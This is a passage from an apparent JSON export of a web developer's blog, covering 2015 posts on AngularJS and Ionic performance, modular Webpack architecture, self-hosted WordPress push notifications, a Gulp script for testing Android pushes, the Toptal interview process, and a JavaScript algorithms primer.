arr.length at every iteration, that\u0026rsquo;s why is it faster than the normal \u0026ldquo;for loop\u0026rdquo;.\nIt is also interesting to notice that lodash performance is four times better than angular foreach. If you do not like to use native for loops I recommend using lodash (I love this lib).\nAnimations According to Ben Nadel\u0026rsquo;s blog post: Enable Animations Explicitly For A Performance Boost In AngularJS it is possible to force ngAnimate to only target elements that have a specific class name instead of checking all elements seeking for elements that could animate.\nangular.module(\u0026#39;yourModule\u0026#39;).config(function($animateProvider) { $animateProvider.classNameFilter( /\\banimated\\b/ ); }); I personally have not tested this approach but according to Ben Nadel\u0026rsquo;s numbers it could make a significant performance enhancement.\nIonic Native scrolling Native scrolling was released in May 2015 with Ionic 1.0. Before that Ionic relied on the JavaScript scrolling which was created to have proper events for features such as \u0026ldquo;Pull To Refresh\u0026rdquo;, Infinite Scrolling, List Reordering, or Collection Repeat. Browsers evolved to handle native scrolling events but mostly on Android, iOS in Cordova still doesn\u0026rsquo;t have completely native scroll events.\nNative scrolling can be enabled using overflow-scroll=”true” on your ion-content or using the $ionicConfigProvider provider:\nangular.module(\u0026#39;yourModule\u0026#39;).config(function($ionicConfigProvider) { $ionicConfigProvider.scrolling.jsScrolling(false); }); My advice is to always enable it, once you have tested it you cannot live without it!\nMore information Collection repeat The collection-repeat directive is a directive that allows you to render lists with thousands of items and experience little to no performance penalty. It renders into the DOM only as many items as are currently visible.\nCollection repeat is good for performance, but not on every cases. Indeed Collection repeat must $watch every item and item properties of your collection (you cannot use the One-time binding or track by with it). Depending on the data you want to display the number of $watchers can slow down your application.\n\u0026lt;ion-content\u0026gt; \u0026lt;ion-item collection-repeat=\u0026#34;item in items\u0026#34;\u0026gt; {{item}} \u0026lt;/ion-item\u0026gt; \u0026lt;/ion-content\u0026gt; Another downside is that you cannot use native scrolling with a collection repeat.\nMore information Infinite Scroll The\u0026lt;ion-infinite-scroll\u0026gt; directive allows you to call a function whenever the user gets to the bottom of the page or near the bottom of the page. It has the advantage to only load the right amount of data that the user needs.\n\u0026lt;ion-content ng-controller=\u0026#34;MyController\u0026#34;\u0026gt; \u0026lt;ion-list\u0026gt; .... .... \u0026lt;/ion-list\u0026gt; \u0026lt;ion-infinite-scroll on-infinite=\u0026#34;loadMore()\u0026#34; distance=\u0026#34;1%\u0026#34;\u0026gt; \u0026lt;/ion-infinite-scroll\u0026gt; \u0026lt;/ion-content\u0026gt; From my experience in a lot of cases using the infinite scroll combined with the One-time binding , track by and the Native scrolling is way better in terms of performance than a collection repeat.\nMore information View cache The view cache is one of Ionic\u0026rsquo;s killer feature. If enabled it keeps views in the DOM cache with their scope, current state, and scroll position. When navigating you never lose your input or scroll position so you can go back in history without the fear of losing data.\nWhat about performance then? Well when a page is cached its scope is disconnected from the $watch cycle and reconnected when used again. It means that the number of $watchers are the same as if you do not use the view cache. However keeping views in the DOM and saving theirs states in memory have an impact on the application performance. My advice is to use this feature (it is a MUST have) but to cache only a reasonable amount of pages using the $ionicConfigProvider provider:\nangular.module(\u0026#39;yourModule\u0026#39;).config(function($ionicConfigProvider) { $ionicConfigProvider.views.maxCache(5); }); By default, Ionic will cache a maximum of 10 views, and not only can this be configured, but you can also explicitly state which views should and should not be cached using the \u0026lt;ion-view cache-view=\u0026quot;false\u0026quot;\u0026gt; directive or the UI router $stateProvider provider.\n$stateProvider.state(\u0026#39;myState\u0026#39;, { cache: false, url : \u0026#39;/myUrl\u0026#39;, templateUrl : \u0026#39;my-template.html\u0026#39; }); More information Events When using AngularJS it is considered a good practice to load your data using the $viewContentLoaded event in controllers. When using Ionic SDK, this event is not usable, instead we have access to more specific events. The Ionic view cache comes with 8 new events, for instance \u0026ldquo;$ionicView.loaded\u0026rdquo; is triggered once per view being created and added to the DOM while the \u0026ldquo;$ionicView.enter\u0026rdquo; event will fire, whether it was the first load or a cached view.\nUsing the right event to load your data can improve the usability of the application. Indeed the less HTTP requests you send the better for the usability.\nHere is the complete list of events that you can use with Ionic:\n$scope.$on(\u0026#39;$ionicView.loaded\u0026#39;, function(){}); $scope.$on(\u0026#39;$ionicView.enter\u0026#39;, function(){}); $scope.$on(\u0026#39;$ionicView.leave\u0026#39;, function(){}); $scope.$on(\u0026#39;$ionicView.beforeEnter\u0026#39;, function(){}); $scope.$on(\u0026#39;$ionicView.beforeLeave\u0026#39;, function(){}); $scope.$on(\u0026#39;$ionicView.afterEnter\u0026#39;, function(){}); $scope.$on(\u0026#39;$ionicView.afterLeave\u0026#39;, function(){}); $scope.$on(\u0026#39;$ionicView.unloaded\u0026#39;, function(){}); More information Native transitions It is now possible to use native transitions within Ionic applications. I created ionic-native-transitions , a plugin that helps you configuring Telerik\u0026rsquo;s native transition Cordova plugin .\nMore information Cordova Crosswalk I highly recommend using Crosswalk . Basically it embedded the latest chromium into the app (adding around 20Mb per apk: ARM and X86) so you have the same experience on every android version/device.\nInstalling it is as easy as that:\ncordova plugin add cordova-plugin-crosswalk-webview@1.2.0 Try it out, for me Crosswalk has been a game changer in the hybrid industry, it makes applications smoother.\nThat\u0026rsquo;s all I could come up with on top of my head, if I missed things please let me know by commenting.\n","permalink":"https://julienrenaux.fr/2015/08/24/ultimate-angularjs-and-ionic-performance-cheat-sheet/","tags":[{"LinkTitle":"AngularJS","RelPermalink":"/tags/angularjs/"}],"title":"Ultimate AngularJS and Ionic performance cheat sheet"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"This post describes the architecture that you can use RIGHT NOW on your AngularJS 1.x or Ionic applications and that will be compatible with AngularJS 2. When the time comes and according to this article: Angular 1 and 2 running together , you will be able to migrate easily your application, module by module.\nForget what you know A large majority of the Ionic, AngularJS 1.x projects are using Bower, Gulp and a folder-by-type architecture. If you want to build large scale applications with several developers, you will definitely have problems if you follow that kind of architecture.\nAngularJS is often used to create prototypes and MVP really quickly so why bother? Well, we all know what happen to prototypes and MVPs that somehow work\u0026hellip; they go directly into production. If you have reached that point, it is not too late to restructure your code and think about it before your application turns into FrankenstApp!\nBower Here are few reasons not to use Bower :\nIt does not support CommonJS out of the box. Using npm and Bower at the same time is a non sense (they both fulfill the same need). npm has become the most popular package manager for JavaScript. Requires closures to avoid scope leaking. If you want to know more reasons I recommend you to read this article: Why my team uses npm instead of bower What is CommonJS? The CommonJS group defined a module format to solve JavaScript scope issues by making sure each module is executed in its own namespace.\nCommonJS handle modules outside the browser and works great with ECMAScript 5 or 6.\n// Import with ECMAScript 5 var angular = require(\u0026#39;angular\u0026#39;); // Export with ECMAScript 5 module.exports = function(){} // Import with ECMAScript 6 import angular from \u0026#39;angular\u0026#39;; // Export with ECMAScript 6 export default function(){} Gulp Few reasons not to use Gulp:\nCompiling, concatenating and minifying your application require to install a lot of dependencies (gulp-concat, gulp-minify-css, express, livereload etc.). Basic needs (web server, livereload, concat etc) require to create many scripts that YOU will need to maintain yourself. In 2015 it should not be that complicated to fulfill your application\u0026rsquo;s basic needs. The solution is to use Webpack .\nFolder-by-type structure The folder-by-type structure is basically grouping JavaScript files by types (controllers, configs, views, directives etc.) as followed:\napp/\rapp.js\rcontrollers/\raaa.js\rbbb.js\rccc.js\rdirectives/\rddd.directive.js\reee.directive.js\rfff.directive.js\rservices/\rxxx.js\ryyy.js\rzzz.js\rviews/\raaa.html\rbbb.html\rccc.html\rddd.directive.html\reee.directive.html\rfff.directive.html This folder architecture is a terrible idea for large scale applications. I have experienced it before and it is not a good memory, especially if you are several developers to work at the same time. Here are some reasons not to use it:\nThe number of files in your folders can become really large. Finding all the files you need to modify for a specific feature can be tricky. Working on a feature will lead to open many folders. If you do not trust me, at least trust John Papa\u0026rsquo;s styleguide :)\nA better solution is to Create components/modules with a Folders-by-Feature structure .\nUse Webpack Webpack is a module bundler, it takes modules with dependencies and generates static assets.\nWebpack and Webpack-dev-server easily replace Gulp for basic application needs (web server, livereload, concatenation, minification, compliling JS or Sass etc.). Instead of having to maintain several Gulp scripts, what you only need is a configuration file webpack.config.js\u0026hellip; that\u0026rsquo;s ALL!\nFor instance having an autoprefixed CSS injected into your application from several Sass files is as simple as that with Webpack:\n{ test: /\\.scss$/, loader: \u0026#34;style!css!autoprefixer!sass\u0026#34; } No need to show you the equivalent using Gulp or Grunt, I think you got my point! If you want to go further with Webpack you can read this article I created some time ago: Introduction to Webpack with practical examples Create components/modules The solution to large scale applications is to create loosely coupled modules. I have been doing AngularJS applications for a long time now and after a lot of experimenting I have settled to the following architecture:\nEvery file that can be edited, live in the src/ or /lib folder. Every AngularJS module needs a proper folder. Every module file *.module.js must define a unique namespace (and must be the only place where this namespace appears). Every module file *.module.js must declare all its dependencies (even if dependencies are already injected in the app). Every module file *.module.js must declare all its configs, controllers, services, filters etc. Every config, controller, service, filter etc. must export a function or a Class. If a module needs some specific style, the .scss file must live within the module as well. All of this is very powerful, it assures you to have modules that can be shared by several applications without getting any error (except for missing dependencies).\nHere an example of a home module structure:\nlib/\rindex.js\rhome/\rhome.module.js\rhome.config.js\rhome.service.js\rhome.controller.js\rhome.html\rhome.scss Now here is the home.module.js file using ECMAScript 6:\nimport modConfig from \u0026#39;./home.config\u0026#39;; import modController from \u0026#39;./home.controller\u0026#39;; let mod = angular.module(\u0026#39;prototype.home\u0026#39;, [ \u0026#39;ionic\u0026#39;, \u0026#39;ui.router\u0026#39; ]); mod.config(modConfig); mod.controller(\u0026#39;HomeController\u0026#39;, modController); export default mod = mod.name Use Angular 1.5 components http://toddmotto.com/exploring-the-angular-1-5-component-method/ Use Folders-by-Feature structure Reasons to use Folders-by-Feature structure:\nThe number of files in your folders are limited to few. Finding all the files you need to modify for a specific feature is easy (they are in the same folder!). You can work independently on a feature. Knowing what the module represents is easy (the folder name is sufficient). lib/\rindex.js\rhome/\rhome.module.js\rhome.config.js\rhome.service.js\rhome.controller.js\rhome.html\rhome.scss\rparameters/\rparameters.module.js\rparameters.config.js\rparameters.service.js\rparameters.controller.js\rparameters.html\rparameters.scss Recommended boilerplates If you are ready to start making some changes in your application with the architecture I suggested in this post you can clone those repositories, they are a good start:\n[Angular Material]: shprink/angular1.4-ES6-material-webpack-boilerplate . A simple AngularJS 1.4 boilerplate using ES6, material design and Webpack. [Ionic]: shprink/ios-android-wordpress-ionic-webpack-ES6 . Repo created for the TutsPlus article: Creating iOS/Android mobile applications for WordPress using Ionic SDK, Webpack, ES6 and WP-API. ","permalink":"https://julienrenaux.fr/2015/08/17/modular-angularjs-and-ionic-architecture-a-first-step-towards-angularjs-2/","tags":[{"LinkTitle":"AngularJS","RelPermalink":"/tags/angularjs/"}],"title":"Modular AngularJS and Ionic architecture: a first step towards AngularJS 2"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"Push notification is always a pain when it comes to find the perfect free service, there are several possibilities like pushwoosh , pushapps , pushover etc.\nIf you are hosting your WordPress website there is no need to subscribe any of those services. With your server you have already what it takes to send push notifications to your subscriber.\nNo third party service involved, just your WordPress server and your application.\nIt all start with installing Push Notifications for WordPress (Lite) plugin to your WordPress.\nSend push notifications to iOS, Android, and Fire OS devices when you publish a new post. Straight from your WordPress site, in real-time.\nInstallation Search and install \u0026ldquo;Push Notifications for WordPress (Lite)\u0026rdquo; from the Plugins WordPress page Activate \u0026ldquo;Push Notifications for WordPress (Lite)\u0026rdquo; through the \u0026lsquo;Plugins\u0026rsquo; menu in WordPress Configure the plugin by going to the Push Notifications menu that appears in your admin menu Android If you have not already done so, you\u0026rsquo;ll need to set up a Google API project, to generate your senderID. Follow these steps to do so.\nGet the SenderID Signing into https://developers.google.com/mobile/add and follow the steps to get Cloud messaging senderID and apiKey.\nTip: The senderID is a 12 digit number\nConfigure the WordPress plugin Go to Push Notifications \u0026gt; Settings and check the following checkboxes:\nBasic Options \u0026gt; Send push notifications when a new post is published Basic Options \u0026gt; Android devices Send Push Notifications for \u0026gt; Posts Misc \u0026gt; In the Android notification payload add the message field Then go to \u0026ldquo;Android Push Notifications (via GMC)\u0026rdquo; section and enter you Google Api key.\nDo not forget to save.\niOS Configure the WordPress plugin Go to Push Notifications \u0026gt; Settings and check the following checkboxes:\nBasic Options \u0026gt; Send push notifications when a new post is published Basic Options \u0026gt; iOS devices Send Push Notifications for \u0026gt; Posts Do not forget to save.\nCertificates and Provisioning profiles This part is really painful (Generally when you have to use Apple\u0026rsquo;s service it is\u0026hellip;). It is all well explained there: http://strangemilk.com/ionic-push-notifications-with-ios/ Create .pem Get .perm files Once you have got your .pem files upload them in the iOS Push Notifications section\nSetup Ionic / Cordova I recommend using NgCordova and the NgCordova pushNotifications plugin Installation cordova plugin add https://github.com/phonegap-build/PushPlugin.git\r# Or if you are using Ionic CLI\rionic plugin add https://github.com/phonegap-build/PushPlugin.git Register to \u0026ldquo;Push Notifications for WordPress (Lite)\u0026rdquo; \u0026ldquo;Push Notifications for WordPress (Lite)\u0026rdquo; exposes a Web service API that you can access over HTTP.\nIt only takes the OS (iOS | Android) and the device token.\nfunction register(os, token) { var baseUrl; baseUrl = \u0026#39;http://yourDomainName.com/pnfw\u0026#39;; if (!baseUrl) { return $q.reject(); } return $http({ method: \u0026#39;POST\u0026#39;, url: baseUrl + \u0026#39;/register\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/x-www-form-urlencoded\u0026#39; }, transformRequest: function(obj) { var p, str; str = []; for (p in obj) { str.push(encodeURIComponent(p) + \u0026#39;=\u0026#39; + encodeURIComponent(obj[p])); } return str.join(\u0026#39;\u0026amp;amp;\u0026#39;); }, data: { os: os, token: token } }); }; iOS $cordovaPush.register(iosConfig).then(function(deviceToken) { register(\u0026#39;iOS\u0026#39;, deviceToken).success(function() { return $log.info(\u0026#39;Push notif Token stored\u0026#39;); }); $log.debug(\u0026#39;iOS push notification registration success\u0026#39;, deviceToken); }, function(err) { $log.error(\u0026#39;iOS push notification registration error\u0026#39;, err); }); $rootScope.$on(\u0026#39;$cordovaPush:notificationReceived\u0026#39;, function(event, notification) { $log.debug(\u0026#39;Push notif message\u0026#39;, notification); if (notification.alert) { if (notification.foreground) { // If your user is using the app // Do something like opening the Post within the app // You have access to // notification.id which is the new Post ID // notification.alert which is the new Post Title } else { // If your user has clicked on the notification // Do something like opening the Post within the app // You have access to // notification.id which is the new Post ID // notification.alert which is the new Post Title } } if (notification.badge) { return $cordovaPush.setBadgeNumber(notification.badge).then(function(result) { $log.debug(\u0026#39;Push notif badge ok\u0026#39;, result); }, function(err) { $log.debug(\u0026#39;Push notif badge error\u0026#39;, err); }); } }); Android $cordovaPush.register(androidConfig).then(function(result) { $log.debug(\u0026#39;android push notification registration success\u0026#39;, result); }, function(err) { $log.error(\u0026#39;android push notification registration error\u0026#39;, err); }); return $rootScope.$on(\u0026#39;$cordovaPush:notificationReceived\u0026#39;, function(event, notification) { switch (notification.event) { case \u0026#39;registered\u0026#39;: if (!notification.regid.length) { return; } $log.debug(\u0026#39;registration ID\u0026#39;, notification.regid); register(\u0026#39;Android\u0026#39;, notification.regid).success(function() { return $log.info(\u0026#39;Push notif Token stored\u0026#39;); }); break; case \u0026#39;message\u0026#39;: $log.debug(\u0026#39;Push notif message\u0026#39;, notification); if (notification.foreground) { // If your user is using the app // Do something like opening the Post within the app // You have access to // notification.payload.id which is the new Post ID // notification.payload.message which is the new Post Title } else { // If your user has clicked on the notification // Do something like opening the Post within the app // You have access to // notification.payload.id which is the new Post ID // notification.payload.message which is the new Post Title } break; case \u0026#39;error\u0026#39;: $log.debug(\u0026#39;Push notif error\u0026#39;, notification); break; } }); All in one angular.module(\u0026#39;yourModuleName\u0026#39;).run(function($log, $cordovaPush, $rootScope, $http, $ionicPlatform) { var androidConfig, iosConfig, register; androidConfig = { \u0026#34;senderID\u0026#34;: \u0026#34;\u0026#34; }; iosConfig = { \u0026#34;badge\u0026#34;: true, \u0026#34;sound\u0026#34;: true, \u0026#34;alert\u0026#34;: true }; register = function(os, token) { var baseUrl; baseUrl = \u0026#39;http://yourDomainName.com/pnfw\u0026#39;; if (!baseUrl) { return $q.reject(); } return $http({ method: \u0026#39;POST\u0026#39;, url: baseUrl + \u0026#39;/register\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/x-www-form-urlencoded\u0026#39; }, transformRequest: function(obj) { var p, str; str = []; for (p in obj) { str.push(encodeURIComponent(p) + \u0026#39;=\u0026#39; + encodeURIComponent(obj[p])); } return str.join(\u0026#39;\u0026amp;amp;\u0026#39;); }, data: { os: os, token: token } }); }; return $ionicPlatform.ready(function() { if (ionic.Platform.isAndroid()) { $cordovaPush.register(androidConfig).then(function(result) { $log.debug(\u0026#39;android push notification registration success\u0026#39;, result); }, function(err) { $log.error(\u0026#39;android push notification registration error\u0026#39;, err); }); return $rootScope.$on(\u0026#39;$cordovaPush:notificationReceived\u0026#39;, function(event, notification) { switch (notification.event) { case \u0026#39;registered\u0026#39;: if (!notification.regid.length) { return; } $log.debug(\u0026#39;registration ID\u0026#39;, notification.regid); register(\u0026#39;Android\u0026#39;, notification.regid).success(function() { return $log.info(\u0026#39;Push notif Token stored\u0026#39;); }); break; case \u0026#39;message\u0026#39;: $log.debug(\u0026#39;Push notif message\u0026#39;, notification); if (notification.foreground) { // If your user is using the app // Do something like opening the Post within the app // You have access to // notification.payload.id which is the new Post ID // notification.payload.message which is the new Post Title } else { // If your user has clicked on the notification // Do something like opening the Post within the app // You have access to // notification.payload.id which is the new Post ID // notification.payload.message which is the new Post Title } break; case \u0026#39;error\u0026#39;: $log.debug(\u0026#39;Push notif error\u0026#39;, notification); break; } }); } else if (ionic.Platform.isIOS()) { $cordovaPush.register(iosConfig).then(function(deviceToken) { register(\u0026#39;iOS\u0026#39;, deviceToken).success(function() { return $log.info(\u0026#39;Push notif Token stored\u0026#39;); }); $log.debug(\u0026#39;iOS push notification registration success\u0026#39;, deviceToken); }, function(err) { $log.error(\u0026#39;iOS push notification registration error\u0026#39;, err); }); return $rootScope.$on(\u0026#39;$cordovaPush:notificationReceived\u0026#39;, function(event, notification) { $log.debug(\u0026#39;Push notif message\u0026#39;, notification); if (notification.alert) { if (notification.foreground) { // If your user is using the app // Do something like opening the Post within the app // You have access to // notification.id which is the new Post ID // notification.alert which is the new Post Title } else { // If your user has clicked on the notification // Do something like opening the Post within the app // You have access to // notification.id which is the new Post ID // notification.alert which is the new Post Title } } if (notification.badge) { return $cordovaPush.setBadgeNumber(notification.badge).then(function(result) { $log.debug(\u0026#39;Push notif badge ok\u0026#39;, result); }, function(err) { $log.debug(\u0026#39;Push notif badge error\u0026#39;, err); }); } }); } }, false); }); WordPress Hybrid Client If you want your WordPress website available on iOS and Android there is a simple free and Open Sourced solution: WordPress Hybrid Client With WPHC (WordPress Hybrid Client), your WordPress website application (iOS and Android) is just a build away.\nHere is the features already available and a lot more is coming :\nPush Notifications Social buttons About Page Params Page Language switch [French|English|Chinese] Accessibility (Post font size) App rate Docker support for easier installation Syntax highlighter for tech blogs MISC: Test Push Notifications on Android If you want to test that GMC is correctly setup and that your device receive notifications you can follow this tutorial: Sending push notifications to Android via Gulp ","permalink":"https://julienrenaux.fr/2015/06/25/ios-android-push-notifications-100-free-and-self-hosted-for-wordpress-using-cordova-and-ionic/","tags":[{"LinkTitle":"Wordpress","RelPermalink":"/tags/wordpress/"}],"title":"iOS / Android push notifications 100% free and self hosted for WordPress using Cordova and Ionic"},{"categories":[],"content":"If you ever wondered how to test that your push notifications work on Android without setting up any server here is how to do.\nInstall npm install gulp node-gcm\nGet Api key, Sender ID and Device ID In order to be able to send push notifications we need only need the Google Cloud Api key, and the device ID(s).\nTo get the Api key and the senderID you can register there: https://developers.google.com/mobile/add As for the device ID it can be found once your device is registered.\nIf you are using this Cordova plugin https://github.com/phonegap-build/PushPlugin you can get it like this (note that the senderID is used here):\ndocument.addEventListener(\u0026#34;deviceready\u0026#34;, function() { var pushNotification = window.plugins.pushNotification; pushNotification.register( successHandler, errorHandler, { \u0026#34;senderID\u0026#34;: \u0026#34;replace_with_sender_id (12 digits number)\u0026#34;, \u0026#34;ecb\u0026#34;: \u0026#34;onNotification\u0026#34; }); function onNotification(e) { switch (e.event) { case \u0026#39;registered\u0026#39;: if (e.regid.length \u0026gt; 0) { // Your GCM push server needs to know the regID before it can push to this device // here is where you might want to send it the regID for later use. console.log(\u0026#39;Device id\u0026#39;, e.regid); } break; } } function successHandler() {} function errorHandler() {} }); Script Now that you have both Device ID and Api key let\u0026rsquo;s create a script that send push notifications.\ngulp.task(\u0026#39;push:android\u0026#39;, function() { if (!gutil.env.apiKey || gutil.env.apiKey === true) { throw new Error(\u0026#39;You must specify the android Api key, refer to the documentation\u0026#39;); } if (!gutil.env.deviceId || gutil.env.deviceId === true) { throw new Error(\u0026#39;You must specify the android ID, refer to the documentation\u0026#39;); } console.log(\u0026#39;apiKey\u0026#39;, gutil.env.apiKey); console.log(\u0026#39;deviceId\u0026#39;, gutil.env.deviceId); var gcm = require(\u0026#39;node-gcm\u0026#39;) var message = new gcm.Message({ collapseKey: \u0026#39;demo\u0026#39;, delayWhileIdle: true, timeToLive: 3, data: { key1: \u0026#39;message1\u0026#39;, key2: \u0026#39;message2\u0026#39; } }); var sender = new gcm.Sender(gutil.env.apiKey); sender.send(message, (gutil.env.deviceId instanceof Array) ? gutil.env.deviceId : [gutil.env.deviceId], 5, function(err, result) { if (err) { console.error(\u0026#39;Failed, status code\u0026#39;, err); } else { console.log(\u0026#39;Success\u0026#39;, result); } }); }) Run You can run the script like like this on one or several devices:\n# One device gulp push:android --apiKey YOUR_API_KEY --deviceId YOUR_DEVICE_ID # Two devices gulp push:android --apiKey YOUR_API_KEY --deviceId YOUR_DEVICE_ID --deviceId YOUR_DEVICE_ID If everything is fine you should have your push notifications working.\nCommun error If your api key and senderId are not ok you will get this error message:\nSuccess { multicast_id: 7412383159195664000, success: 0, failure: 1, canonical_ids: 0, results: [ { error: \u0026#39;MismatchSenderId\u0026#39; } ] } If so regenerate a api key using this link https://github.com/phonegap-build/PushPlugin .\n","permalink":"https://julienrenaux.fr/2015/06/19/sending-push-notifications-to-android-via-gulp/","tags":[],"title":"Sending push notifications to Android via Gulp"},{"categories":[],"content":"Introduction to toptal Toptal is platform for Freelancers to meet clients from all over the world. It is similar to freelancer.com, elance.com or upwork.com but with a big difference, Toptal claims to have the best freelancers there are thanks to a high level interview process. Here is a video that will help you better understand Toptal.\n[embed]https://vimeo.com/45519288[/embed]\rIt took me two months to go through all the interview steps to become a Toptal Engineer , part of the so called The Top 3% ! Here is how things went:\nInterview process Language \u0026amp; Personality (26.4% pass) The first step in the screening process is a comprehensive language, personality, and communication interview. Candidates must be able to read, write, and speak English extremely well.\nYou need to show them that you are invested and passionated about your work (maybe you have a blog or you commit on famous open source projects etc.). Find something that makes you an above average developer and start from there.\nBe yourself, do not be stressed and everything will be alright.\nTimed Algorithm Testing (7.4% pass) This step checks for computer science fundamentals, problem solving ability, and intellect. I spent days going through old algorithm books and refreshing my memory about famous algorithms time complexity. If you do not have at least the background listed in this article: JavaScript background to have before any job interview with top companies do not even try.\nYou will have 90 minutes to solve three algorithms on https://codility.com/ . To be honest you cannot do all of them in the given time, focus only on two but make them great! Obviously I cannot disclose the content of those tests but let just say that they were really different from each other and therefore required a large algorithm knowledge.\nThis is the most difficult part of the interview process. If you do not spend some time learning algorithm basics you will fail. My advice is to get back to your university books and train as much as you can. Open Codility and start coding! If you need a little help my solutions are available on this post: Codility efficient algorithm solutions in JavaScript Technical Screenings (3.6% pass) Each candidate is screened by at least two certified Toptal engineers. Each screener will provide specific live coding exercises that cover core topics within the candidate’s primary tech stack.\nYou will have the choice between a back end or a front end test. I obviously selected the front end test. You will have real life problems to solve using a specific technology. For me it was jQuery, and to be honest at the beginning I was a little bit skeptical on my ability to succeed as I did not used jQuery for a while but I sorted things out pretty easily.\nIf you have the experience you claim to have, you should not have any difficulty with this step.\nTest Projects (3.2% pass) Ok now we are talking! If you arrive here, it means that you are pretty good at what you do but this step is somehow special. It tests your ability to commit to a project and your willingness to become a Toptal engineer! It is a great way to demonstrate technical competence, thoroughness, professionalism, and integrity.\nI have heard there are several projects that you can end up with. One of them is a classic Todo list but the one I got was the creation of a Web page form that creates new users dynamically. I received around 20 wireframes that I had to bring to life in two weeks time using the technology that I wanted.\nIt had to be pixel perfect and fully functional. I am more of a mobile (cordova), single page application kind of guy so I actually learnt stuff doing this project. For example to help you doing pixel perfect pages you can use the Perfect pixel Chrome extension.\nWhat I believe is that they are trying to give you a project that is a little bit far from your comfort zone to test your ability to learn/discover new stuff while delivering high quality projects.\nI chose to use Webpack , Bootstrap 3 and jQuery and I spent around 20 hours to finish this project.\nOnce it is done you will review the project and the code with a recruiter and that\u0026rsquo;s it, the interview process is now over and if you are lucky enough you will be part of Toptal :)\nSelect only technologies that are mature enough, you do not want to waste time on bugs that are not part of your code.\nAcknowledgment I personally wanted to thank recruiters and engineers that I talked to. They are really professional and are here to help you succeed.\nConclusion Overall this experience was really good to me, during the process I wrote greats articles JavaScript background to have before any job interview with top companies and Codility efficient algorithm solutions in JavaScript that really helped me reviewing my basics and taught me that in life nothing is impossible as long as your are brave enough.\nIn case your are interested in my profile: http://www.toptal.com/resume/julien-renaux ","permalink":"https://julienrenaux.fr/2015/06/18/toptal-interview-process-explained/","tags":[],"title":"Toptal interview process explained"},{"categories":[],"content":"Just wanted to share about a great tool I have just discovered:\n\u0026ldquo;The Great Suspender\u0026rdquo; is a free and open-source Google Chrome extension for people who find that chrome is consuming too much system resource or suffer from frequent chrome crashing. Once installed and enabled, this extension will automatically suspend tabs that have not been used for a while, freeing up memory and cpu that the tab was consuming.\nAvailable on GitHub and on Chrome store ","permalink":"https://julienrenaux.fr/2015/05/26/chrome-extension-the-great-suspender/","tags":[],"title":"[Chrome extension] The Great Suspender"},{"categories":[],"content":"Data types and data structures\rIn JavaScript, there are 6 primitive data types, a primitive (primitive value, primitive data type) is data that is not an object and has no methods.\nPrimitives\rBoolean\rIn computer science, a boolean is a logical data type that can have only the values true or false.\nNull\rIn computer science, a null value represents a reference that points, generally intentionally, to a nonexistent or invalid object or address.\nUndefined\rA primitive value automatically assigned to variables that have just been declared or to formal arguments for which there are no actual arguments.\nNumber\rIn JavaScript, Number is a numeric data type in the double-precision 64-bit floating point format (IEEE 754). In other programming languages different numeric types can exist, for examples: Integers, Floats, Doubles, or Bignums.\nString\rIn any computer programming language, a string is a sequence of characters used to represent text.\nSymbol (new in ECMAScript 6)\rA Symbol is a unique and immutable primitive value and may be used as the key of an Object property.\nconst MY_KEY = Symbol(); let obj = {}; obj[MY_KEY] = 123; console.log(obj[MY_KEY]); // 123 Object\rObject refers to a data structure containing data and instructions for working with the data. Objects sometimes refer to real-world things like a user for instance:\nvar user = { \u0026#34;first_name\u0026#34; : \u0026#34;Julien\u0026#34;, \u0026#34;last_name\u0026#34; : \u0026#34;Renaux\u0026#34; } console.log(\u0026#34;My name is \u0026#34; + user[\u0026#34;first_name\u0026#34;] + \u0026#34; \u0026#34; + user[\u0026#34;last_name\u0026#34;]); // My name is Julien Renaux Algorithm time complexity (Big O)\rComplexity is express using big-O notation. For a problem of size N:\na constant-time method is \"order 1\": O(1)\ra linear-time method is \"order N\": O(N)\ra quadratic-time method is \"order N squared\": O(N2)\rFor loop: O(N)\rThe loop executes N times, so the sequence of statements also executes N times. Since we assume the statements are O(1), the total time for the for loop is N * O(1), which is O(N) overall.\nfor (var i = 0; i \u0026lt; N.length; i++) { } Several For loops: O(max(N,M))\rfor (var i = 0; i \u0026lt; N.length; i++) { } for (var j = 0; j \u0026lt; M.length; j++) { } Nested For loops: O(N * M)\rThe outer loop executes N times. Every time the outer loop executes, the inner loop executes M times. As a result, the statements in the inner loop execute a total of N * M times. If N equal M then the complexity is O(N^2).\nfor (var i = 0; i \u0026lt; N.length; i++) { for (var j = 0; j \u0026lt; M.length; j++) { } } Sorting: O(N*log(N))\rTypical serial sorting algorithms good behavior is O(N*log(N))\nN.sort(function(a, b){ return a - b; }) Classic Algorithms\rAlgorithmic questions are a classic especially in Nord American companies. Facebook, Google, Twitter they all.\nWhat interviewers seek is to see if you can logically resolve some of the basic problems known to computer science. The following algorithms will be as clear as they can be so you can understand the logic. It is not about algorithm elegance nor performance.\nBinary search\rBinary search is one of the fundamental algorithms in computer science. In its simplest form, binary search is used to quickly find a value in a sorted sequence. git bisect uses it to quickly find the commit that introduced a bug.\nfunction binarySearch(haystack, needle) { var lo = 0, hi = haystack.length - 1, mid; while (lo \u0026lt;= hi) { mid = Math.floor((lo + hi) / 2); if (haystack[mid] \u0026lt; needle) { lo = mid + 1; } else if (haystack[mid] \u0026gt; needle) { hi = mid - 1; } else { return mid; } } return -1; } // Unsorted list var list = [80, 9, 700, 40, 1, 5, 200]; // Now sorted list.sort(function(a,b){ return a - b; }); // In which position is the number 200? Response: 5 binarySearch(list, 200); Complexity: Since each comparison binary search uses halves the search space, we can assert and easily prove that binary search will never use more than O(log N) comparisons to find the target value.\nPrime number\rfunction isPrime(n){ var divisor = 2; while (n \u0026gt; divisor){ if(n % divisor == 0){ return false; } else divisor++; } return true; } // Response: true isPrime(137); // Response: false isPrime(237); Fibonacci\rIn mathematics, the Fibonacci numbers or Fibonacci sequence are the numbers in the following integer sequence: 0 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144 \u0026hellip;\nIt is defined by the recurrence relation: Code Recursive\rThe below algorithm performs is elegant but not efficient when the sequence grows exponentially, we get an inefficient solution.\nfunction fibonacci(n){ if(n \u0026lt; 2) return n; return fibonacci(n-1) + fibonacci (n-2); } fibonacci(2); // Response: 1 fibonacci(3); // Response: 2 fibonacci(4); // Response: 3 fibonacci(5); // Response: 5 Complexity: O(2^n) Why?\nCode dynamic programming\rWe can calculate the values F0, F1, . . . , Fn based on the previously calculated numbers (it is 